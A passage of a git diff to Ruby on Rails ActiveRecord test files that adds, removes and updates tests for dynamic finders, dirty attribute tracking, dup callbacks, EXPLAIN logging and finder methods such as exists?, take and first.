+  def test_dynamic_find_last_without_specified_order
+    assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
+  end
+
+  def test_dynamic_find_or_create_from_two_attributes_using_an_association
+    author = authors(:david)
+    number_of_posts = Post.count
+    another = author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
+    assert_equal number_of_posts + 1, Post.count
+    assert_equal another, author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
+    assert another.persisted?
+  end
+
+  def test_dynamic_find_all_should_respect_association_order_for_through
+    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.where("comments.type = 'SpecialComment'").to_a
+    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
+  end
+
+  def test_dynamic_find_all_should_respect_association_limit_for_through
+    assert_equal 1, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").to_a.length
+    assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
+  end
+
+  def test_dynamic_find_all_order_should_override_association_limit_for_through
+    assert_equal 4, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").limit(9_000).to_a.length
+    assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
+  end
+
+  def test_find_all_include_over_the_same_table_for_through
+    assert_equal 2, people(:michael).posts.includes(:people).to_a.length
+  end
+
+  def test_find_or_create_by_resets_cached_counters
+    person = Person.create! :first_name => 'tenderlove'
+    post   = Post.first
+
+    assert_equal [], person.readers
+    assert_nil person.readers.find_by_post_id(post.id)
+
+    person.readers.find_or_create_by_post_id(post.id)
+
+    assert_equal 1, person.readers.count
+    assert_equal 1, person.readers.length
+    assert_equal post, person.readers.first.post
+    assert_equal person, person.readers.first.person
+  end
+
+  def test_find_or_initialize
+    the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
+    assert_equal companies(:first_firm).id, the_client.firm_id
+    assert_equal "Yet another client", the_client.name
+    assert !the_client.persisted?
+  end
+
+  def test_find_or_create_updates_size
+    number_of_clients = companies(:first_firm).clients.size
+    the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+    assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+  end
+
+  def test_find_or_initialize_updates_collection_size
+    number_of_clients = companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
+    assert_equal number_of_clients + 1, companies(:first_firm).clients_of_firm.size
+  end
+
+  def test_find_or_initialize_returns_the_instantiated_object
+    client = companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
+    assert_equal client, companies(:first_firm).clients_of_firm[-1]
+  end
+
+  def test_find_or_initialize_only_instantiates_a_single_object
+    number_of_clients = Client.count
+    companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client").save!
+    companies(:first_firm).save!
+    assert_equal number_of_clients+1, Client.count
+  end
+
+  def test_find_or_create_with_hash
+    post = authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
+    assert_equal post, authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
+    assert post.persisted?
+  end
+
+  def test_find_or_create_with_one_attribute_followed_by_hash
+    post = authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
+    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
+    assert post.persisted?
+  end
+
+  def test_find_or_create_should_work_with_block
+    post = authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
+    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
+    assert post.persisted?
+  end
+
+  def test_forwarding_to_dynamic_finders_2
+    welcome = Post.find(1)
+    assert_equal 4, Comment.find_all_by_type('Comment').size
+    assert_equal 2, welcome.comments.find_all_by_type('Comment').size
+  end
+
+  def test_dynamic_find_all_by_attributes
+    authors = Author.all
+
+    davids = authors.find_all_by_name('David')
+    assert_kind_of Array, davids
+    assert_equal [authors(:david)], davids
+  end
+
+  def test_dynamic_find_or_initialize_by_attributes
+    authors = Author.all
+
+    lifo = authors.find_or_initialize_by_name('Lifo')
+    assert_equal "Lifo", lifo.name
+    assert !lifo.persisted?
+
+    assert_equal authors(:david), authors.find_or_initialize_by_name(:name => 'David')
+  end
+
+  def test_dynamic_find_or_create_by_attributes
+    authors = Author.all
+
+    lifo = authors.find_or_create_by_name('Lifo')
+    assert_equal "Lifo", lifo.name
+    assert lifo.persisted?
+
+    assert_equal authors(:david), authors.find_or_create_by_name(:name => 'David')
+  end
+
+  def test_dynamic_find_or_create_by_attributes_bang
+    authors = Author.all
+
+    assert_raises(ActiveRecord::RecordInvalid) { authors.find_or_create_by_name!('') }
+
+    lifo = authors.find_or_create_by_name!('Lifo')
+    assert_equal "Lifo", lifo.name
+    assert lifo.persisted?
+
+    assert_equal authors(:david), authors.find_or_create_by_name!(:name => 'David')
+  end
+
+  def test_finder_block
+    t = Topic.first
+    found = nil
+    Topic.find_by_id(t.id) { |f| found = f }
+    assert_equal t, found
+  end
+
+  def test_finder_block_nothing_found
+    bad_id = Topic.maximum(:id) + 1
+    assert_nil Topic.find_by_id(bad_id) { |f| raise }
+  end
+
+  def test_find_returns_block_value
+    t = Topic.first
+    x = Topic.find_by_id(t.id) { |f| "hi mom!" }
+    assert_equal "hi mom!", x
+  end
+
+  def test_dynamic_finder_with_invalid_params
+    assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
+  end
+
+  def test_find_by_one_attribute_with_order_option
+    assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
+    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
+  end
+
+  def test_dynamic_find_by_attributes_should_yield_found_object
+    david = authors(:david)
+    yielded_value = nil
+    Author.find_by_name(david.name) do |author|
+      yielded_value = author
+    end
+    assert_equal david, yielded_value
+  end
+end
+
+class DynamicScopeTest < ActiveRecord::TestCase
+  fixtures :posts
+
+  def setup
+    @test_klass = Class.new(Post) do
+      def self.name; "Post"; end
+    end
+    @deprecation_behavior = ActiveSupport::Deprecation.behavior
+    ActiveSupport::Deprecation.behavior = :silence
+  end
+
+  def teardown
+    ActiveSupport::Deprecation.behavior = @deprecation_behavior
+  end
+
+  def test_dynamic_scope
+    assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1)
+    assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.all.merge!(:where => { :author_id => 1, :title => "Welcome to the weblog"}).first
+  end
+
+  def test_dynamic_scope_should_create_methods_after_hitting_method_missing
+    assert_blank @test_klass.methods.grep(/scoped_by_type/)
+    @test_klass.scoped_by_type(nil)
+    assert_present @test_klass.methods.grep(/scoped_by_type/)
+  end
+
+  def test_dynamic_scope_with_less_number_of_arguments
+    assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) }
+  end
+end
+
+class DynamicScopeMatchTest < ActiveRecord::TestCase
+  def test_scoped_by_no_match
+    assert_nil ActiveRecord::DynamicMatchers::Method.match(nil, "not_scoped_at_all")
+  end
+
+  def test_scoped_by
+    model = stub(attribute_aliases: {})
+    match = ActiveRecord::DynamicMatchers::Method.match(model, "scoped_by_age_and_sex_and_location")
+    assert_not_nil match
+    assert_equal %w(age sex location), match.attribute_names
+  end
+end
diff --git a/activerecord/test/cases/deprecated_finder_test.rb b/activerecord/test/cases/deprecated_finder_test.rb
deleted file mode 100644
index 2afc91b769..0000000000
--- a/activerecord/test/cases/deprecated_finder_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require "cases/helper"
-require 'models/entrant'
-
-class DeprecatedFinderTest < ActiveRecord::TestCase
-  fixtures :entrants
-
-  def test_deprecated_find_all_was_removed
-    assert_raise(NoMethodError) { Entrant.find_all }
-  end
-
-  def test_deprecated_find_first_was_removed
-    assert_raise(NoMethodError) { Entrant.find_first }
-  end
-
-  def test_deprecated_find_on_conditions_was_removed
-    assert_raise(NoMethodError) { Entrant.find_on_conditions }
-  end
-
-  def test_count
-    assert_equal(0, Entrant.count(:conditions => "id > 3"))
-    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
-    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
-  end
-
-  def test_count_by_sql
-    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
-    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
-    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
-  end
-end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index b1ce846218..92677b9926 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -79,6 +79,17 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  def test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_marked_as_a_change
+    in_time_zone 'Paris' do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = 'pirates'
+
+      pirate = target.create
+      pirate.created_on = pirate.created_on
+      assert !pirate.created_on_changed?
+    end
+  end
+
   def test_time_attributes_changes_without_time_zone_by_skip
     in_time_zone 'Paris' do
       target = Class.new(ActiveRecord::Base)
@@ -190,7 +201,7 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
-  def test_nullable_integer_zero_to_string_zero_not_marked_as_changed
+  def test_integer_zero_to_string_zero_not_marked_as_changed
     pirate = Pirate.new
     pirate.parrot_id = 0
     pirate.catchphrase = 'arrr'
@@ -202,6 +213,19 @@ class DirtyTest < ActiveRecord::TestCase
     assert !pirate.changed?
   end
 
+  def test_integer_zero_to_integer_zero_not_marked_as_changed
+    pirate = Pirate.new
+    pirate.parrot_id = 0
+    pirate.catchphrase = 'arrr'
+    assert pirate.save!
+
+    assert !pirate.changed?
+
+    pirate.parrot_id = 0
+    assert !pirate.changed?
+  end
+
+
   def test_zero_to_blank_marked_as_changed
     pirate = Pirate.new
     pirate.catchphrase = "Yarrrr, me hearties"
@@ -288,7 +312,7 @@ class DirtyTest < ActiveRecord::TestCase
 
     with_partial_updates Pirate, false do
       assert_queries(2) { 2.times { pirate.save! } }
-      Pirate.update_all({ :updated_on => old_updated_on }, :id => pirate.id)
+      Pirate.where(id: pirate.id).update_all(:updated_on => old_updated_on)
     end
 
     with_partial_updates Pirate, true do
@@ -306,7 +330,7 @@ class DirtyTest < ActiveRecord::TestCase
 
     with_partial_updates Person, false do
       assert_queries(2) { 2.times { person.save! } }
-      Person.update_all({ :first_name => 'baz' }, :id => person.id)
+      Person.where(id: person.id).update_all(:first_name => 'baz')
     end
 
     with_partial_updates Person, true do
@@ -413,7 +437,7 @@ class DirtyTest < ActiveRecord::TestCase
     with_partial_updates(Topic) do
       Topic.create!(:author_name => 'Bill', :content => {:a => "a"})
       topic = Topic.select('id, author_name').first
-      topic.update_column :author_name, 'John'
+      topic.update_columns author_name: 'John'
       topic = Topic.first
       assert_not_nil topic.content
     end
@@ -485,16 +509,35 @@ class DirtyTest < ActiveRecord::TestCase
     assert_not_nil pirate.previous_changes['updated_on'][1]
     assert !pirate.previous_changes.key?('parrot_id')
     assert !pirate.previous_changes.key?('created_on')
+  end
 
-    pirate = Pirate.find_by_catchphrase("Ahoy!")
-    pirate.update_attribute(:catchphrase, "Ninjas suck!")
+  if ActiveRecord::Base.connection.supports_migrations?
+    class Testings < ActiveRecord::Base; end
+    def test_field_named_field
+      ActiveRecord::Base.connection.create_table :testings do |t|
+        t.string :field
+      end
+      assert_nothing_raised do
+        Testings.new.attributes
+      end
+    ensure
+      ActiveRecord::Base.connection.drop_table :testings rescue nil
+    end
+  end
 
-    assert_equal 2, pirate.previous_changes.size
-    assert_equal ["Ahoy!", "Ninjas suck!"], pirate.previous_changes['catchphrase']
-    assert_not_nil pirate.previous_changes['updated_on'][0]
-    assert_not_nil pirate.previous_changes['updated_on'][1]
-    assert !pirate.previous_changes.key?('parrot_id')
-    assert !pirate.previous_changes.key?('created_on')
+  def test_setting_time_attributes_with_time_zone_field_to_same_time_should_not_be_marked_as_a_change
+    in_time_zone 'Paris' do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = 'pirates'
+
+      created_on = Time.now
+
+      pirate = target.create(:created_on => created_on)
+      pirate.reload # Here mysql truncate the usec value to 0
+      
+      pirate.created_on = created_on
+      assert !pirate.created_on_changed?
+    end
   end
 
   private
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index 0236f9b0a1..9705a11387 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -99,5 +99,13 @@ module ActiveRecord
       assert_not_nil new_topic.created_at
     end
 
+    def test_dup_after_initialize_callbacks
+      topic = Topic.new
+      assert Topic.after_initialize_called
+      Topic.after_initialize_called = false
+      topic.dup
+      assert Topic.after_initialize_called
+    end
+
   end
 end
diff --git a/activerecord/test/cases/dynamic_finder_match_test.rb b/activerecord/test/cases/dynamic_finder_match_test.rb
deleted file mode 100644
index e576870317..0000000000
--- a/activerecord/test/cases/dynamic_finder_match_test.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  class DynamicFinderMatchTest < ActiveRecord::TestCase
-    def test_find_or_create_by
-      match = DynamicFinderMatch.match("find_or_create_by_age_and_sex_and_location")
-      assert_not_nil match
-      assert !match.finder?
-      assert match.instantiator?
-      assert_equal :first, match.finder
-      assert_equal :create, match.instantiator
-      assert_equal %w(age sex location), match.attribute_names
-    end
-
-    def test_find_or_initialize_by
-      match = DynamicFinderMatch.match("find_or_initialize_by_age_and_sex_and_location")
-      assert_not_nil match
-      assert !match.finder?
-      assert match.instantiator?
-      assert_equal :first, match.finder
-      assert_equal :new, match.instantiator
-      assert_equal %w(age sex location), match.attribute_names
-    end
-
-    def test_find_no_match
-      assert_nil DynamicFinderMatch.match("not_a_finder")
-    end
-
-    def find_by_bang
-      match = DynamicFinderMatch.match("find_by_age_and_sex_and_location!")
-      assert_not_nil match
-      assert match.finder?
-      assert match.bang?
-      assert_equal :first, match.finder
-      assert_equal %w(age sex location), match.attribute_names
-    end
-
-    def test_find_by
-      match = DynamicFinderMatch.match("find_by_age_and_sex_and_location")
-      assert_not_nil match
-      assert match.finder?
-      assert_equal :first, match.finder
-      assert_equal %w(age sex location), match.attribute_names
-    end
-
-    def test_find_by_with_symbol
-      m = DynamicFinderMatch.match(:find_by_foo)
-      assert_equal :first, m.finder
-      assert_equal %w{ foo }, m.attribute_names
-    end
-
-    def test_find_all_by_with_symbol
-      m = DynamicFinderMatch.match(:find_all_by_foo)
-      assert_equal :all, m.finder
-      assert_equal %w{ foo }, m.attribute_names
-    end
-
-    def test_find_all_by
-      match = DynamicFinderMatch.match("find_all_by_age_and_sex_and_location")
-      assert_not_nil match
-      assert match.finder?
-      assert_equal :all, match.finder
-      assert_equal %w(age sex location), match.attribute_names
-    end
-
-    def test_find_last_by
-      m = DynamicFinderMatch.match(:find_last_by_foo)
-      assert_equal :last, m.finder
-      assert_equal %w{ foo }, m.attribute_names
-    end
-
-    def test_find_by!
-      m = DynamicFinderMatch.match(:find_by_foo!)
-      assert_equal :first, m.finder
-      assert m.bang?, 'should be banging'
-      assert_equal %w{ foo }, m.attribute_names
-    end
-
-    def test_find_or_create
-      m = DynamicFinderMatch.match(:find_or_create_by_foo)
-      assert_equal :first, m.finder
-      assert_equal %w{ foo }, m.attribute_names
-      assert_equal :create, m.instantiator
-    end
-
-    def test_find_or_initialize
-      m = DynamicFinderMatch.match(:find_or_initialize_by_foo)
-      assert_equal :first, m.finder
-      assert_equal %w{ foo }, m.attribute_names
-      assert_equal :new, m.instantiator
-    end
-
-    def test_garbage
-      assert !DynamicFinderMatch.match(:fooo), 'should be false'
-      assert !DynamicFinderMatch.match(:find_by), 'should be false'
-    end
-  end
-end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
new file mode 100644
index 0000000000..91e1df91cd
--- /dev/null
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -0,0 +1,48 @@
+require 'cases/helper'
+
+if ActiveRecord::Base.connection.supports_explain?
+  class ExplainSubscriberTest < ActiveRecord::TestCase
+    SUBSCRIBER = ActiveRecord::ExplainSubscriber.new
+
+    def test_collects_nothing_if_available_queries_for_explain_is_nil
+      with_queries(nil) do
+        SUBSCRIBER.finish(nil, nil, {})
+        assert_nil Thread.current[:available_queries_for_explain]
+      end
+    end
+
+    def test_collects_nothing_if_the_payload_has_an_exception
+      with_queries([]) do |queries|
+        SUBSCRIBER.finish(nil, nil, :exception => Exception.new)
+        assert queries.empty?
+      end
+    end
+
+    def test_collects_nothing_for_ignored_payloads
+      with_queries([]) do |queries|
+        ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
+          SUBSCRIBER.finish(nil, nil, :name => ip)
+        end
+        assert queries.empty?
+      end
+    end
+
+    def test_collects_pairs_of_queries_and_binds
+      sql   = 'select 1 from users'
+      binds = [1, 2]
+      with_queries([]) do |queries|
+        SUBSCRIBER.finish(nil, nil, :name => 'SQL', :sql => sql, :binds => binds)
+        assert_equal 1, queries.size
+        assert_equal sql, queries[0][0]
+        assert_equal binds, queries[0][1]
+      end
+    end
+
+    def with_queries(queries)
+      Thread.current[:available_queries_for_explain] = queries
+      yield queries
+    ensure
+      Thread.current[:available_queries_for_explain] = nil
+    end
+  end
+end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
new file mode 100644
index 0000000000..6dce8ccdd1
--- /dev/null
+++ b/activerecord/test/cases/explain_test.rb
@@ -0,0 +1,127 @@
+require 'cases/helper'
+require 'models/car'
+require 'active_support/core_ext/string/strip'
+
+if ActiveRecord::Base.connection.supports_explain?
+  class ExplainTest < ActiveRecord::TestCase
+    fixtures :cars
+
+    def base
+      ActiveRecord::Base
+    end
+
+    def connection
+      base.connection
+    end
+
+    def test_logging_query_plan_with_logger
+      base.logger.expects(:warn).with do |message|
+        message.starts_with?('EXPLAIN for:')
+      end
+
+      with_threshold(0) do
+        Car.where(:name => 'honda').to_a
+      end
+    end
+
+    def test_logging_query_plan_without_logger
+      original = base.logger
+      base.logger = nil
+
+      class << base.logger
+        def warn; raise "Should not be called" end
+      end
+
+      with_threshold(0) do
+        car = Car.where(:name => 'honda').first
+        assert_equal 'honda', car.name
+      end
+    ensure
+      base.logger = original
+    end
+
+    def test_collect_queries_for_explain
+      base.auto_explain_threshold_in_seconds = nil
+      queries = Thread.current[:available_queries_for_explain] = []
+
+      with_threshold(0) do
+        Car.where(:name => 'honda').to_a
+      end
+
+      sql, binds = queries[0]
+      assert_match "SELECT", sql
+      assert_match "honda", sql
+      assert_equal [], binds
+    ensure
+      Thread.current[:available_queries_for_explain] = nil
+    end
+
+    def test_collecting_queries_for_explain
+      result, queries = ActiveRecord::Base.collecting_queries_for_explain do
+        Car.where(:name => 'honda').to_a
+      end
+
+      sql, binds = queries[0]
+      assert_match "SELECT", sql
+      assert_match "honda", sql
+      assert_equal [], binds
+      assert_equal [cars(:honda)], result
+    end
+
+    def test_logging_query_plan_when_counting_by_sql
+      base.logger.expects(:warn).with do |message|
+        message.starts_with?('EXPLAIN for:')
+      end
+
+      with_threshold(0) do
+        Car.count_by_sql "SELECT COUNT(*) FROM cars WHERE name = 'honda'"
+      end
+    end
+
+    def test_exec_explain_with_no_binds
+      sqls    = %w(foo bar)
+      binds   = [[], []]
+      queries = sqls.zip(binds)
+
+      connection.stubs(:explain).returns('query plan foo', 'query plan bar')
+      expected = sqls.map {|sql| "EXPLAIN for: #{sql}\nquery plan #{sql}"}.join("\n")
+      assert_equal expected, base.exec_explain(queries)
+    end
+
+    def test_exec_explain_with_binds
+      cols = [Object.new, Object.new]
+      cols[0].expects(:name).returns('wadus')
+      cols[1].expects(:name).returns('chaflan')
+
+      sqls    = %w(foo bar)
+      binds   = [[[cols[0], 1]], [[cols[1], 2]]]
+      queries = sqls.zip(binds)
+
+      connection.stubs(:explain).returns("query plan foo\n", "query plan bar\n")
+      expected = <<-SQL.strip_heredoc
+        EXPLAIN for: #{sqls[0]} [["wadus", 1]]
+        query plan foo
+
+        EXPLAIN for: #{sqls[1]} [["chaflan", 2]]
+        query plan bar
+      SQL
+      assert_equal expected, base.exec_explain(queries)
+    end
+
+    def test_silence_auto_explain
+      base.expects(:collecting_sqls_for_explain).never
+      base.logger.expects(:warn).never
+      base.silence_auto_explain do
+        with_threshold(0) { Car.all }
+      end
+    end
+
+    def with_threshold(threshold)
+      current_threshold = base.auto_explain_threshold_in_seconds
+      base.auto_explain_threshold_in_seconds = threshold
+      yield
+    ensure
+      base.auto_explain_threshold_in_seconds = current_threshold
+    end
+  end
+end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 235805a67c..9440cd429a 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -36,6 +36,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
     assert_respond_to Topic, :find_by_title_and_author_name
   end
 
+  def test_should_respond_to_find_all_by_an_aliased_attribute
+    ensure_topic_method_is_not_cached(:find_by_heading)
+    assert_respond_to Topic, :find_by_heading
+  end
+
   def test_should_respond_to_find_or_initialize_from_one_attribute
     ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
     assert_respond_to Topic, :find_or_initialize_by_title
@@ -56,6 +61,16 @@ class FinderRespondToTest < ActiveRecord::TestCase
     assert_respond_to Topic, :find_or_create_by_title_and_author_name
   end
 
+  def test_should_respond_to_find_or_create_from_one_attribute_bang
+    ensure_topic_method_is_not_cached(:find_or_create_by_title!)
+    assert_respond_to Topic, :find_or_create_by_title!
+  end
+
+  def test_should_respond_to_find_or_create_from_two_attributes_bang
+    ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name!)
+    assert_respond_to Topic, :find_or_create_by_title_and_author_name!
+  end
+
   def test_should_not_respond_to_find_by_one_missing_attribute
     assert !Topic.respond_to?(:find_by_undertitle)
   end
@@ -70,7 +85,6 @@ class FinderRespondToTest < ActiveRecord::TestCase
   private
 
   def ensure_topic_method_is_not_cached(method_id)
-    class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.any? { |m| m.to_s == method_id.to_s }
+    class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.include? method_id
   end
-
 end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 69754d23b9..20c8e8894d 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -32,6 +32,7 @@ class FinderTest < ActiveRecord::TestCase
     assert Topic.exists?(:author_name => "Mary", :approved => true)
     assert Topic.exists?(["parent_id = ?", 1])
     assert !Topic.exists?(45)
+    assert !Topic.exists?(Topic.new)
 
     begin
       assert !Topic.exists?("foo")
@@ -44,10 +45,20 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(NoMethodError) { Topic.exists?([1,2]) }
   end
 
+  def test_exists_does_not_select_columns_without_alias
+    assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
+      Topic.exists?
+    end
+  end
+
   def test_exists_returns_true_with_one_record_and_no_args
     assert Topic.exists?
   end
 
+  def test_exists_returns_false_with_false_arg
+    assert !Topic.exists?(false)
+  end
+
   # exists? should handle nil for id's that come from URLs and always return false
   # (example: Topic.exists?(params[:id])) where params[:id] is nil
   def test_exists_with_nil_arg
@@ -62,7 +73,12 @@ class FinderTest < ActiveRecord::TestCase
     assert Topic.order(:id).uniq.exists?
   end
 
-  def test_does_not_exist_with_empty_table_and_no_args_given
+  def test_exists_with_includes_limit_and_empty_result
+    assert !Topic.includes(:replies).limit(0).exists?
+    assert !Topic.includes(:replies).limit(1).where('0 = 1').exists?
+  end
+
+  def test_exists_with_empty_table_and_no_args_given
     Topic.delete_all
     assert !Topic.exists?
   end
@@ -82,12 +98,6 @@ class FinderTest < ActiveRecord::TestCase
       Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
   end
 
-  def test_exists_with_scoped_include
-    Developer.send(:with_scope, :find => { :include => :projects, :order => "projects.name" }) do
-      assert Developer.exists?
-    end
-  end
-
   def test_exists_does_not_instantiate_records
     Developer.expects(:instantiate).never
     Developer.exists?
@@ -104,14 +114,14 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_ids_with_limit_and_offset
-    assert_equal 2, Entrant.find([1,3,2], :limit => 2).size
-    assert_equal 1, Entrant.find([1,3,2], :limit => 3, :offset => 2).size
+    assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
+    assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
 
     # Also test an edge case: If you have 11 results, and you set a
     #   limit of 3 and offset of 9, then you should find that there
     #   will be only 2 results, regardless of the limit.
-    devs = Developer.find :all
-    last_devs = Developer.find devs.map(&:id), :limit => 3, :offset => 9
+    devs = Developer.all
+    last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
     assert_equal 2, last_devs.size
   end
 
@@ -119,62 +129,16 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal [], Topic.find([])
   end
 
-  def test_find_by_ids_missing_one
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
-  end
-
-  def test_find_all_with_limit
-    assert_equal(2, Entrant.find(:all, :limit => 2).size)
-    assert_equal(0, Entrant.find(:all, :limit => 0).size)
-  end
-
-  def test_find_all_with_prepared_limit_and_offset
-    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 1)
-
-    assert_equal(2, entrants.size)
-    assert_equal(entrants(:second).name, entrants.first.name)
-
-    assert_equal 3, Entrant.count
-    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 2)
-    assert_equal(1, entrants.size)
-    assert_equal(entrants(:third).name, entrants.first.name)
-  end
-
-  def test_find_all_with_limit_and_offset_and_multiple_order_clauses
-    first_three_posts = Post.find :all, :order => 'author_id, id', :limit => 3, :offset => 0
-    second_three_posts = Post.find :all, :order => ' author_id,id ', :limit => 3, :offset => 3
-    third_three_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 6
-    last_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 9
-
-    assert_equal [[0,3],[1,1],[1,2]], first_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[1,4],[1,5],[1,6]], second_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[2,7],[2,9],[2,11]], third_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[3,8],[3,10]], last_posts.map { |p| [p.author_id, p.id] }
-  end
-
-
-  def test_find_with_group
-    developers = Developer.find(:all, :group => "salary", :select => "salary")
-    assert_equal 4, developers.size
-    assert_equal 4, developers.map(&:salary).uniq.size
-  end
-
-  def test_find_with_group_and_having
-    developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary")
-    assert_equal 3, developers.size
-    assert_equal 3, developers.map(&:salary).uniq.size
-    assert developers.all? { |developer| developer.salary > 10000 }
+  def test_find_doesnt_have_implicit_ordering
+    assert_sql(/^((?!ORDER).)*$/) { Topic.find(1) }
   end
 
-  def test_find_with_group_and_sanitized_having
-    developers = Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary")
-    assert_equal 3, developers.size
-    assert_equal 3, developers.map(&:salary).uniq.size
-    assert developers.all? { |developer| developer.salary > 10000 }
+  def test_find_by_ids_missing_one
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
   end
 
   def test_find_with_group_and_sanitized_having_method
-    developers = Developer.group(:salary).having("sum(salary) > ?", 10000).select('salary').all
+    developers = Developer.group(:salary).having("sum(salary) > ?", 10000).select('salary').to_a
     assert_equal 3, developers.size
     assert_equal 3, developers.map(&:salary).uniq.size
     assert developers.all? { |developer| developer.salary > 10000 }
@@ -199,14 +163,24 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal [Account], accounts.collect(&:class).uniq
   end
 
-  def test_find_first
-    first = Topic.find(:first, :conditions => "title = 'The First Topic'")
-    assert_equal(topics(:first).title, first.title)
+  def test_take
+    assert_equal topics(:first), Topic.take
+  end
+
+  def test_take_failing
+    assert_nil Topic.where("title = 'This title does not exist'").take
   end
 
-  def test_find_first_failing
-    first = Topic.find(:first, :conditions => "title = 'The First Topic!'")
-    assert_nil(first)
+  def test_take_bang_present
+    assert_nothing_raised do
+      assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").take!
+    end
+  end
+
+  def test_take_bang_missing
+    assert_raises ActiveRecord::RecordNotFound do
+      Topic.where("title = 'This title does not exist'").take!
+    end
   end
 
   def test_first
@@ -229,6 +203,12 @@ class FinderTest < ActiveRecord::TestCase
     end
   end
 
+  def test_first_have_primary_key_order_by_default
+    expected = topics(:first)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.first
+  end
+
   def test_model_class_responds_to_first_bang
     assert Topic.first!
     Topic.delete_all
@@ -257,7 +237,8 @@ class FinderTest < ActiveRecord::TestCase
     end
   end
 
